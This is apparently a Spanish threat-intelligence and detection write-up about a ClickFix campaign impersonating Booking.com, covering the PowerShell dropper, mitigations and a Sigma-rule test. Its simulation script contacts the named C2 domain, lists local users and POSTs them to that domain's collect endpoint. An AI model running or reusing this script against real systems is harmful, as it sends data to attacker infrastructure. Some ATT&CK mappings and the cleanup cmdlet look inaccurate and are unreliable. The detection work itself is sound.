Analizando una cadena de ataque completa de ClickFix (parte 1)

Resumen

El informe describe una campaña de ClickFix en la que un sitio web malicioso se hace pasar por Booking.com para persuadir a los usuarios a copiar y ejecutar un comando de PowerShell. Una vez ejecutado, el comando lanza un script de PowerShell sin archivo que descarga un archivo ZIP de segunda etapa. El droppper recolecta información del host, escribe la carga útil en el directorio temporal, y crea persistencia tanto a través de una clave de registro Run como de una tarea programada. La cadena completa de infección se basa en contenido web convincente y en la ejecución impulsada por el usuario en lugar de un exploit obvio.

Investigación

Los analistas de Stormshield capturaron el JavaScript responsable de recuperar un comando de PowerShell de un dominio de comando y control y colocarlo en el portapapeles del usuario. También analizaron el droppper de PowerShell, que recolectó información detallada del sistema a través de consultas WMI y variables de entorno antes de exfiltrar los datos mediante una solicitud GET. El mismo droppper luego descargó un archivo ZIP de un segundo dominio, extrajo su contenido y configuró la persistencia en el host comprometido. Los investigadores mapearon los comportamientos y técnicas observadas con sus respectivos identificadores MITRE ATT&CK.

Mitigación

Las organizaciones deben bloquear los dominios maliciosos y URLs vinculados a la campaña ClickFix y aplicar un filtro web estricto para reducir la exposición a páginas de aterrizaje de tipo phishing. Los defensores deben monitorear la ejecución de PowerShell con indicadores como -ExecutionPolicy Bypass y configuraciones de ventana oculta, al tiempo que limitan la ejecución de scripts de PowerShell sin firmar a través del control de aplicaciones. Las detecciones adicionales deben centrarse en la creación de claves de registro Run sospechosas y tareas programadas con nombres desconocidos.

Respuesta

Los equipos de seguridad deben alertar sobre el tráfico saliente hacia los dominios de comando y control identificados y sobre líneas de comando de PowerShell que utilicen Invoke-Expression para ejecutar contenido recuperado remotamente. La lógica de detección también debe cubrir la creación del valor de registro Run específico y el nombre de la tarea programada asociada con la campaña. Si se confirma la actividad, aísle el punto final inmediatamente, recolecte evidencia volátil y realice una revisión forense de los archivos temporales y la carga útil descargada.

Ejecución de Simulación

Prerrequisito: La Comprobación Preliminar de Telemetría & Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperado por la lógica de detección.

• Narrativa & Comandos de Ataque:
  Un atacante, habiendo obtenido un punto de apoyo en una estación de trabajo interna comprometida, emite un comando de PowerShell de una línea que contacta la URL de C2 de ClickFix con el ?get_command=1 parámetro vía un POST HTTP. El servidor devuelve una carga útil de PowerShell que enumera las cuentas de usuario locales (T1087), verifica la hora del sistema (T1124), descubre productos de seguridad instalados (T1518.001), y luego copia el resultado al portapapeles. El contenido del portapapeles se publica posteriormente de vuelta en el servidor ClickFix para exfiltración, cumpliendo T1204.004 y T1547.001. Este patrón de tráfico exacto coincide con la regla Sigma request_uri|contains: "?get_command=1" and http_method: POST condiciones.

• Guion de Prueba de Regresión:

  # Simulación de Fetch de Comando ClickFix – activa la regla Sigma
  $url = "https://accountpulsecentre.help/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1"
  $payload = @{
      dummy = "data"
  }
  
  # Enviar la solicitud POST maliciosa
  $response = Invoke-WebRequest -Uri $url -Method POST -Body ($payload | ConvertTo-Json) -ContentType "application/json"
  
  # Simular ejecución del comando PowerShell obtenido (simplificado)
  $psCommand = $response.Content
  Write-Output "Comando obtenido: $psCommand"
  
  # Para demostración, ejecute un subconjunto inofensivo (e.g., obtener usuarios locales) y copie al portapapeles
  $users = Get-LocalUser | Select-Object -ExpandProperty Name
  $usersString = $users -join "`n"
  Set-Clipboard -Value $usersString
  
  # Exfiltrar contenido del portapapeles de vuelta en el servidor ClickFix (simulado)
  $exfilUrl = "https://accountpulsecentre.help/collect"
  Invoke-WebRequest -Uri $exfilUrl -Method POST -Body @{clipboard=$usersString} -ContentType "application/x-www-form-urlencoded"

• Comandos de Limpieza:

  # Elimine cualquier archivo temporal o artefactos creados durante la prueba
  Clear-Clipboard
  Write-Output "Limpieza completa – portapapeles borrado."